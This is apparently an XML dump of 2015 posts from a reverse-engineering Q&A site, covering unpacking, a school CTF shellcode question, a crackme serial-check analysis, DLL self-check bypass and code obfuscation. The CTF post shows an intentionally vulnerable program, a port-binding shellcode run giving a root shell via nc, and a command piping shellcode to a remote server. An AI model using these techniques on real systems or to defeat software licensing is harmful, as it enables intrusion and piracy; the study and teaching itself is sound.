  <row Id="10684" PostTypeId="2" ParentId="10677" CreationDate="2015-08-21T21:32:59.353" Score="3" Body="&lt;p&gt;Interesting idea.  There could be a service to do this, but then the need is probably to small that no one could run a business of it.&#xA;You could try posting a request for one of the many freelancing sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But like the &quot;feed a man a fish&quot; proverb, you are better off learning how to do this stuff your self then, then you can do it your self.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A lot of the better packers these days leave less of a signature and thus are harder to detect with old/outdated packer detectors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to the forums on:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tuts4you.com/&quot; rel=&quot;nofollow&quot;&gt;https://tuts4you.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's pretty much THE site to go to for unpacking info, and if you do your&#xA;homework (read up and study first) people will probably help you there. &lt;/p&gt;&#xA;" OwnerUserId="3828" LastActivityDate="2015-08-21T21:32:59.353" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10685" PostTypeId="1" CreationDate="2015-08-21T23:53:22.783" Score="0" ViewCount="609" Body="&lt;p&gt;Hello guys, I explain my problem, i recently learn about socket programming and i want to do a simple &quot;exploit&quot; maybe the easiest shellcode exercise. In order to be precise i'll put below the source code of the vulnerable program running on the remote server, on a specific port.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;unistd.h&amp;gt;&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;typedef void (*func)(void);&#xA;&#xA;int main(void)&#xA;{&#xA;    char input[4096];&#xA;    char* output = &quot;My favorite shell is /bin/sh&quot;;&#xA;&#xA;    puts(output);&#xA;    printf(&quot;[DEBUG] foobar: execve=%p input=%p output=%p\n&quot;,&#xA;        execve, input, output);&#xA;&#xA;    read(0, input, 4096);&#xA;    ((func)&amp;amp;input)();&#xA;&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's a school's ctf exercise the goal is to get a flag. As i'm new in that kind of exercise, first i tried to exploit the program locally. I succeeded with a techniques i just learned (port binding 1337). Here are the steps:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# ./shellcode.sh | ./program &#xA;My favorite shell is /bin/sh&#xA;[DEBUG] foobar: execve=0x80483c0 input=0xff8aed4c output=0x80485d0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;on a different shell i can then do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# nc localhost 1337&#xA;id&#xA;uid=0(root) gid=0(root) groups=0(root)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I got a shell, yeah that's cool but there is no flag here ! Now i to get a shell on the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If i understood well the source code, the vulnerable program executed what you put as input. I disassembled the main:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) disas main&#xA;Dump of assembler code for function main:&#xA;   0x080484bc &amp;lt;+0&amp;gt;: push   %ebp&#xA;   0x080484bd &amp;lt;+1&amp;gt;: mov    %esp,%ebp&#xA;   0x080484bf &amp;lt;+3&amp;gt;: and    $0xfffffff0,%esp&#xA;   0x080484c2 &amp;lt;+6&amp;gt;: sub    $0x1020,%esp&#xA;   0x080484c8 &amp;lt;+12&amp;gt;:    movl   $0x80485d0,0x101c(%esp)&#xA;   0x080484d3 &amp;lt;+23&amp;gt;:    mov    0x101c(%esp),%eax&#xA;   0x080484da &amp;lt;+30&amp;gt;:    mov    %eax,(%esp)&#xA;   0x080484dd &amp;lt;+33&amp;gt;:    call   0x8048390 &amp;lt;puts@plt&amp;gt;&#xA;   0x080484e2 &amp;lt;+38&amp;gt;:    mov    0x101c(%esp),%eax&#xA;   0x080484e9 &amp;lt;+45&amp;gt;:    mov    %eax,0xc(%esp)&#xA;   0x080484ed &amp;lt;+49&amp;gt;:    lea    0x1c(%esp),%eax&#xA;   0x080484f1 &amp;lt;+53&amp;gt;:    mov    %eax,0x8(%esp)&#xA;   0x080484f5 &amp;lt;+57&amp;gt;:    movl   $0x80483c0,0x4(%esp)&#xA;   0x080484fd &amp;lt;+65&amp;gt;:    movl   $0x80485f0,(%esp)&#xA;   0x08048504 &amp;lt;+72&amp;gt;:    call   0x8048380 &amp;lt;printf@plt&amp;gt;&#xA;   0x08048509 &amp;lt;+77&amp;gt;:    movl   $0x1000,0x8(%esp)&#xA;   0x08048511 &amp;lt;+85&amp;gt;:    lea    0x1c(%esp),%eax&#xA;   0x08048515 &amp;lt;+89&amp;gt;:    mov    %eax,0x4(%esp)&#xA;   0x08048519 &amp;lt;+93&amp;gt;:    movl   $0x0,(%esp)&#xA;   0x08048520 &amp;lt;+100&amp;gt;:   call   0x8048370 &amp;lt;read@plt&amp;gt;&#xA;   0x08048525 &amp;lt;+105&amp;gt;:   lea    0x1c(%esp),%eax&#xA;   0x08048529 &amp;lt;+109&amp;gt;:   call   *%eax&#xA;   0x0804852b &amp;lt;+111&amp;gt;:   mov    $0x0,%eax&#xA;   0x08048530 &amp;lt;+116&amp;gt;:   leave  &#xA;   0x08048531 &amp;lt;+117&amp;gt;:   ret  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For the instruction call *%eax, eax points to the input. Am i right to guess if you just put a shellcode as input, it will execute it ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the port binding shellcode seems to not work with the remote server ( maybe it is secured ?) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then i used simples shellcodes (execve(bin/sh)) already written by people that way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# echo -ne &quot;shellcode&quot; | nc server port&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;No one worked that way so i thought that my whole logic is wrong. What is wrong in the process ? To get a shell on a remote server, what are the way ? If someone can help me i would be grateful. Thank you all. &lt;/p&gt;&#xA;" OwnerUserId="12182" LastActivityDate="2015-10-23T03:47:53.570" Title="How to get a shell on a remote server?" Tags="|vulnerability-analysis|shellcode|remote|" AnswerCount="0" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="10687" PostTypeId="1" AcceptedAnswerId="10714" CreationDate="2015-08-22T12:00:35.907" Score="0" ViewCount="157" Body="&lt;p&gt;I extracted the libc.so.6 from within a vulnerable image used for exploitation purposes. I open up the shared object in IDA and I look at the symbols inside the &quot;Exports&quot; tab. I find &quot;free&quot;; upon visiting the function however, its body seems to do something rather different from what I'd expect from a dlmalloc free implementation. What am I missing?&lt;/p&gt;&#xA;" OwnerDisplayName="user1743" LastActivityDate="2015-08-25T16:35:29.403" Title="Finding &quot;free&quot; inside libc.so" Tags="|linux|shared-object|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10688" PostTypeId="1" CreationDate="2015-08-22T15:15:51.260" Score="2" ViewCount="1139" Body="&lt;p&gt;I have got a DLL file that I want to modify. Each time the executable file which imports the DLL is executed it performs a self checking process to find out whether the file is valid or not. How can I bypass such security measure? I want to be able to make the patch as same as the valid file by all means except the code itself. In addition, I don't exactly know how the security measure finds out whether the file is valid or not. So consider the security measure a black box in which we are going to implement a pentest on.&lt;/p&gt;&#xA;" OwnerUserId="11621" LastActivityDate="2015-11-01T09:29:21.587" Title="How to make a valid patch to bypass self checking security measure?" Tags="|dll|patching|" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10689" PostTypeId="1" CreationDate="2015-08-22T16:54:46.343" Score="0" ViewCount="118" Body="&lt;p&gt;I am interested in software obfuscation techniques. I found your excellent summary of obfuscation in order to avoid (as possible) reverse engineering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the proposed technique you quoted:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Packing and encrypting code segment&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will group encryption and packing into the same category. They both serve the same purpose and they both have the same issues. In order to execute the code, the CPU needs to see the plain text. So you have to provide the key in the binary. The only remotely effective way of encrypting and packing code segments is if you encrypt and decrypt them at functional boundaries and only if the decryption happens upon function entry and then re-encryption happens when leaving the function. This will provide a small barrier against dumping your binary as it is running but is must be coupled with strong obfuscation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Crypting the code segment is very common for malware writers. I am very intrested on how to encrypt/pack each function separatly: decryption upon function entry and then re-encryption when leaving the function. (These are you words)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where I can find documention for this technique ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I find this an excellent idea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, thanks !&lt;/p&gt;&#xA;" OwnerUserId="13358" LastActivityDate="2015-08-22T16:54:46.343" Title="Encrypting and packing at functional boundaries for obfuscation" Tags="|obfuscation|" AnswerCount="0" CommentCount="3" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10690" PostTypeId="1" AcceptedAnswerId="10696" CreationDate="2015-08-22T18:23:51.507" Score="1" ViewCount="1043" Body="&lt;p&gt;I am working on a crackme and I'm stuck on a particular comparison that I'd like your help in getting past(one of many). Here's what I know and the relevant code snippet will follow:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Requires a 19 digit number in the form &lt;code&gt;xxxx-xxxx-xxxx-xxxx&lt;/code&gt; (no non-numeric    characters). These are previous checks.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Looks like the 19 digits are added together, with 10 added on, divided by 4 (shifted right 2), and compared to some value on the stack (which I'm unable to determine).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Can you help me bypass the &lt;code&gt;CMP&lt;/code&gt; on the last line ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;: Not allowed to &lt;code&gt;NOP&lt;/code&gt; any instructions, need to find the serial number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;CODE&lt;/strong&gt;:&#xA;&lt;strong&gt;R9 is the user-inputted 19 digit string&lt;/strong&gt;&#xA;&lt;strong&gt;Added entire function&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var_18          = byte ptr -18h&#xA;var_8           = qword ptr -8&#xA;&#xA;sub     rsp, 18h        ; Follow four lines check for 19-digit user entry&#xA;cmp     edx, 19&#xA;mov     r8, rcx         ; Now holds User inputted string&#xA;jz      short loc_140001013&#xA;&#xA;xor     eax, eax&#xA;add     rsp, 24&#xA;retn&#xA;&#xA;loc_140001013:                          ; CODE XREF: sub_140001000+Aj&#xA;xor     edx, edx&#xA;lea     rax, [r8+4]&#xA;mov     ecx, edx&#xA;xchg    ax, ax&#xA;db      66h, 66h&#xA;nop&#xA;hyphen_Check:                           ; CODE XREF: sub_140001000+2Fj&#xA;cmp     byte ptr [rax], 2Dh ; Use a FOR loop to ensure - is every 5th character, repeats 3 times&#xA;jnz     short loc_14000100C&#xA;add     ecx, 1&#xA;add     rax, 5&#xA;cmp     ecx, 3&#xA;jb      short hyphen_Check&#xA;&#xA;loc_140001031:                          ; DATA XREF: .rdata:00000001400020C4o&#xA; ; .rdata:00000001400020D8o ...&#xA;mov     [rsp+18h+var_8], rbx&#xA;mov     r10d, edx&#xA;mov     r11d, edx&#xA;lea     rbx, [rsp+18h+var_18]&#xA;mov     r9, r8&#xA;nop&#xA;db      66h, 66h&#xA;xchg    ax, ax&#xA;db      66h, 66h&#xA;xchg    ax, ax&#xA;db      66h, 66h&#xA;xchg    ax, ax&#xA;forLoopCheck:                           ; CODE XREF: sub_140001000+A2j&#xA;mov     rcx, rdx&#xA;non_Numeric_Check:                     &#xA;movsx   eax, byte ptr [r9+rcx] ; Begin FOR loop to check all digits for non-numeric characters&#xA;add     eax, 0FFFFFFD0h&#xA;cmp     eax, 9          ; Non-number entries are checked here, exits if letters are present&#xA;ja      ExitFUNC&#xA;add     rcx, 1&#xA;cmp     rcx, 4&#xA;jl      short non_Numeric_Check ; END FOR LOOP&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;ORIGINAL BLOCK:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;movsx   eax, byte ptr [r9+2] ; Get 3rd digit&#xA;                             ; Likely begins set of first checks on actual digits&#xA;movsx   ecx, byte ptr [r9+3] ; Get 4th digit&#xA;add     r11d, 1         ; Loop counter, loops 4 times, for each set of digits&#xA;add     ecx, eax        ; Set ECX to 3rd digit + 4th digit&#xA;movsx   eax, byte ptr [r9+1] ; Set EAX to 2nd digit&#xA;add     rbx, 4&#xA;add     ecx, eax        ; Adds 2nd digit to total&#xA;movsx   eax, byte ptr [r9] ; Move first digit into EAX&#xA;add     r9, 5           ; Moves to 2nd set of digits&#xA;add     ecx, eax        ; Adds 1st digit to total&#xA;add     ecx, r11d       ; Adds 1, for a total of 10&#xA;nop&#xA;nop&#xA;mov     [rbx-4], ecx    ; Added four digits stored here too&#xA;add     r10d, ecx       ; R10d becomes our added ECX value from above&#xA;cmp     r11d, 4         ; Loop counter check&#xA;jb      short forLoopCheck&#xA;shr     r10d, 2         ; shifts right r10d by 2, AKA divides by 4&#xA;mov     ecx, edx&#xA;lea     rax, [rsp+18h+var_18] ; var_18 = -18h&#xA;xchg    ax, ax          ; A NO OP&#xA;cmp     [rax], r10d     ; Compares right shifted 2 value to whatever is in RAX&#xA;jnz     short ExitFUNC  ; Compare above must be the same value&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;LAST CHECK:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:00000001400010C4 loc_1400010C4:                          ; CODE XREF: sub_140001000+ECj&#xA;.text:00000001400010C4                 movzx   ecx, byte ptr [r8+rax+15] ; Move last set of 4 into ECX&#xA;.text:00000001400010CA                 cmp     [r8+rax], cl    ; CL = 1st digit of last 4, R8 = 1st dig of 1 set&#xA;.text:00000001400010CE                 jz      short ExitFUNC  ; Kicks you out&#xA;.text:00000001400010D0                 movzx   r9d, byte ptr [rax+r8+5]&#xA;.text:00000001400010D6                 cmp     cl, r9b         ; cmp 1st digit of last 4 with 1st digit of 2nd 4&#xA;.text:00000001400010D9                 jz      short ExitFUNC&#xA;.text:00000001400010DB                 cmp     r9b, [rax+r8+10] ; cmp 1st digit of 2nd set to 1st digit of 3rd set&#xA;.text:00000001400010E0                 jz      short ExitFUNC&#xA;.text:00000001400010E2                 add     edx, 1&#xA;.text:00000001400010E5                 add     rax, 1&#xA;.text:00000001400010E9                 cmp     edx, 4&#xA;.text:00000001400010EC                 jb      short loc_1400010C4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13361" LastEditorUserId="13361" LastEditDate="2015-08-24T17:43:55.293" LastActivityDate="2015-08-24T17:43:55.293" Title="How do I bypass this comparison?" Tags="|x86|x86-64|" AnswerCount="1" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="10691" PostTypeId="1" AcceptedAnswerId="10693" CreationDate="2015-08-22T20:41:09.427" Score="1" ViewCount="3745" Body="&lt;p&gt;Suppose I'm disassembling helloworld.exe (a program that outputs the string &amp;quot;hello world&amp;quot;) and want to see the user code or code section for the file in IDA Pro.&#xA;In what address would the user code be available?&lt;/p&gt;&#xA;&lt;p&gt;When I mean user code I mean the .code section below&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;HelloWorld db &amp;quot;Hello, world!&amp;quot;,0&#xA;msgTitle db &amp;quot;Hello world program&amp;quot;,0&#xA;&#xA;.code&#xA;Start:&#xA;         push    offset msgTitle&#xA;         push    offset HelloWorld&#xA;         push    0&#xA;         call    MessageBoxA&#xA;&#xA;         push 0&#xA;         call ExitProcess&#xA;ends&#xA;end Start&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Bonus Question: When not using IDA Pro how can I determine the address of the user code of a Portable Executable?&lt;/p&gt;&#xA;" OwnerUserId="12387" LastEditorUserId="245" LastEditDate="2022-05-11T13:30:04.767" LastActivityDate="2022-05-11T13:30:04.767" Title="When analysing a PE (.exe) in IDA Pro how can I jump to the 'user code' section and skip all the header/libary code?" Tags="|ida|executable|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="10692" PostTypeId="2" ParentId="10675" CreationDate="2015-08-22T22:41:40.663" Score="1" Body="&lt;p&gt;Google finds these links. Do they help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.openrce.org/forums/posts/2072&quot; rel=&quot;nofollow&quot;&gt;http://www.openrce.org/forums/posts/2072&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://fumalwareanalysis.blogspot.com/2012/01/malware-analysis-tutorial-12-debug.html&quot; rel=&quot;nofollow&quot;&gt;http://fumalwareanalysis.blogspot.com/2012/01/malware-analysis-tutorial-12-debug.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1358" LastActivityDate="2015-08-22T22:41:40.663" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10693" PostTypeId="2" ParentId="10691" CreationDate="2015-08-23T04:30:32.677" Score="2" Body="&lt;p&gt;If You use IDA: When You open Your binary in IDA, navigate to drop-box in up-right corner and choose Entry points. You will see red point, which indicates the address of entry point:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/j7QUG.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/j7QUG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without IDA: If You need to see Entry point of your binary without IDA, you need to parse PE and examine AddressOfEntryPoint value, which is RVA from base to the beginning of user-code [usually]&lt;/p&gt;&#xA;" OwnerUserId="1334" LastActivityDate="2015-08-23T04:30:32.677" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10696" PostTypeId="2" ParentId="10690" CreationDate="2015-08-23T18:03:07.830" Score="2" Body="&lt;p&gt;Here's what your serial checking algorithm looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// expects xxxx-xxxx-xxxx-xxxx&#xA;bool check_serial(char inp[]){&#xA;    int total = 0;&#xA;    int checksum = 1 + (inp[0] + inp[1] + inp[2] + inp[3]);&#xA;&#xA;    for (int i = 1; i &amp;lt;= 4; i++) {&#xA;        total += i + (inp[0] + inp[1] + inp[2] + inp[3]);&#xA;        inp += 5;&#xA;    }&#xA;&#xA;    total /= 4;&#xA;&#xA;    printf(&quot;chk is %d, total is %d\n&quot;, checksum, total);&#xA;&#xA;    return (checksum == total);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'll explain what the value at &lt;code&gt;rsp&lt;/code&gt; is only, as you seem to understand the rest of the algorithm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, you have this instruction:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cmp     [rax], r10d&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Check what &lt;code&gt;rax&lt;/code&gt; is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lea     rax, [rsp+18h+var_18]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since &lt;code&gt;var_18&lt;/code&gt; is -0x18, we know that &lt;code&gt;0x18 + (-0x18)&lt;/code&gt; is 0, so the above is equivalent to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lea     rax, [rsp]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(you can put the cursor over &lt;code&gt;18h&lt;/code&gt; and press &lt;kbd&gt;K&lt;/kbd&gt; in IDA, it'll get rid of the variable name and just show &lt;code&gt;[rsp]&lt;/code&gt;)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which is equivalent to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     rax, rsp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which means that your &lt;code&gt;cmp&lt;/code&gt; is doing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cmp     [rsp], r10d&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, you need to find out what's on the stack. For that, you check the function again, and search for any references to &lt;code&gt;rsp&lt;/code&gt;. You can click over &lt;code&gt;rsp&lt;/code&gt; so IDA highlights everywhere it's used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After a quick look, this seems interesting:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lea     rbx, [rsp+18h+var_18]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As noted before, it can be simplified to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lea     rbx, [rsp]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which is basically:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     rbx, rsp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now we know that &lt;code&gt;rbx&lt;/code&gt; is pointing to the top of the stack, and in the compare function, we see this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add     rbx, 4&#xA;; ...&#xA;; ...&#xA;; ...&#xA;mov     [rbx-4], ecx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first time that code is run, &lt;code&gt;rbx&lt;/code&gt; points to the top of the stack; it's incremented once, but then the &lt;code&gt;mov&lt;/code&gt; dereferences &lt;code&gt;rbx - 4&lt;/code&gt;, which makes it be equivalent to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     [rbx], ecx&#xA;add     rbx, 4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which is essentially setting the element and skipping to the next one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, &lt;strong&gt;since &lt;code&gt;rbx&lt;/code&gt; points to the top of the stack, the first iteration will save the sum (i.e. &lt;code&gt;ecx&lt;/code&gt;) to the top of the stack&lt;/strong&gt; (which is the value you need to match), and increase the pointer to the next element (which you don't need here anymore).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bingo, we've found out what's at &lt;code&gt;rsp&lt;/code&gt;. It's just the value of &lt;code&gt;ecx&lt;/code&gt; in the first iteration, which is basically the sum of the first group of characters plus one.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Next, notice it's using the ASCII codes of each digit instead of the digits themselves:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;movsx eax, byte ptr [r9]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since &lt;code&gt;r9&lt;/code&gt; points to a char array, the digit &lt;code&gt;'1'&lt;/code&gt; is actually &lt;code&gt;49&lt;/code&gt; (ASCII 49 = &lt;code&gt;1&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To understand it better:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;char serial[] = &quot;1111-2222-3333-4444&quot;;&#xA;int current_char = serial[0]; // puts the integer value 49, not 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4750" LastActivityDate="2015-08-23T18:03:07.830" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="10701" PostTypeId="1" CreationDate="2015-08-24T03:45:05.027" Score="2" ViewCount="295" Body="&lt;p&gt;So, as you may know, many android bootloaders are based on the Little Kernel project on codeaurora, and as such one could say you have partial source to most android bootloaders, typically in the firmware packages you can find on the vendor sites, minus the proprietary bits most vendors add instead of the standard open source fastboot protocol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With this in mind, what would be the best method to approach this disassembly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am currently working against the output of &lt;code&gt;objdump -D&lt;/code&gt; on the binary and comparing that to the same output on the compiled object files from the little kernel build. There are a number of 1:1 matches, but there are some portions that, while apparently analogous, are not quite correct. One would assume this to be due to changes made by the company, but I can't be sure on this matter.&lt;/p&gt;&#xA;" OwnerUserId="13356" LastEditorUserId="53" LastEditDate="2015-08-24T06:33:17.070" LastActivityDate="2015-08-24T06:39:15.020" Title="Dissassembly when you have partial source?" Tags="|disassembly|arm|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10702" PostTypeId="2" ParentId="10701" CreationDate="2015-08-24T06:39:15.020" Score="1" Body="&lt;p&gt;The linear sweep provided by &lt;code&gt;objdump&lt;/code&gt; should do the job quite nicely with a small amount of work afterward. The reasons are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Bootloaders are quite small and simple code requiring only small amount of external calls (even system calls are few). &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;This is ARM assembly code, which means that this is aligned-instructions. There is no way to confuse the disassembler by shifting one byte ahead the code.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;There is no real obfuscation in these programs, except for small compiler tricks or a few optimization.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So, even if there will probably be some extra work afterward, most of the code should be recovered nicely with a simple linear sweep.&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2015-08-24T06:39:15.020" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="10703" PostTypeId="1" AcceptedAnswerId="10704" CreationDate="2015-08-24T11:48:52.843" Score="1" ViewCount="258" Body="&lt;p&gt;This is a question rather for &lt;strong&gt;french&lt;/strong&gt; stack users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wonder how I can read my Freebox server HDD (actually it i flash memory), as &lt;code&gt;root&lt;/code&gt; ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, at least, how I could see Terminal of the box ? (It is &lt;code&gt;Ubuntu&lt;/code&gt; based, at least &lt;code&gt;Debian&lt;/code&gt;)&lt;/p&gt;&#xA;" OwnerUserId="13373" LastActivityDate="2015-08-25T12:00:37.287" Title="Freebøx Internet box, how to access HDD , root?" Tags="|linux|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10704" PostTypeId="2" ParentId="10703" CreationDate="2015-08-24T13:11:58.883" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;(It is &lt;code&gt;Ubuntu&lt;/code&gt; based, at least &lt;code&gt;Debian&lt;/code&gt;)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Freebox#Technical_features&quot; rel=&quot;nofollow&quot;&gt;According to Wikipedia&lt;/a&gt;, it's &lt;a href=&quot;https://en.wikipedia.org/wiki/BusyBox&quot; rel=&quot;nofollow&quot;&gt;BusyBox&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I wonder how I can read my Freebox server HDD (actually it i flash memory), as &lt;code&gt;root&lt;/code&gt; ?&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Or, at least, how I could see Terminal of the box ?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Based on the content in &lt;a href=&quot;http://www.f-x.fr/wikini&quot; rel=&quot;nofollow&quot;&gt;http://www.f-x.fr/wikini&lt;/a&gt;, &lt;a href=&quot;http://www.f-x.fr/wikini/wakka.php?wiki=PenetrationV5&quot; rel=&quot;nofollow&quot;&gt;it appears you would need to desolder the flash memory&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="1562" LastEditDate="2015-08-24T13:17:59.600" LastActivityDate="2015-08-24T13:17:59.600" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10705" PostTypeId="2" ParentId="10688" CreationDate="2015-08-24T14:16:53.057" Score="2" Body="&lt;p&gt;It's not possible to blindly bypass integrity self-checking in a generic &quot;black-box&quot; way. You need to find out what exactly is performed as a check, and then use the according way to bypass it (if existing).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you state it's a self-check, you have to reverse the DLL and find out how the check is performed. The good news is that a self-check should always be removable.&lt;/p&gt;&#xA;" OwnerUserId="8679" LastActivityDate="2015-08-24T14:16:53.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
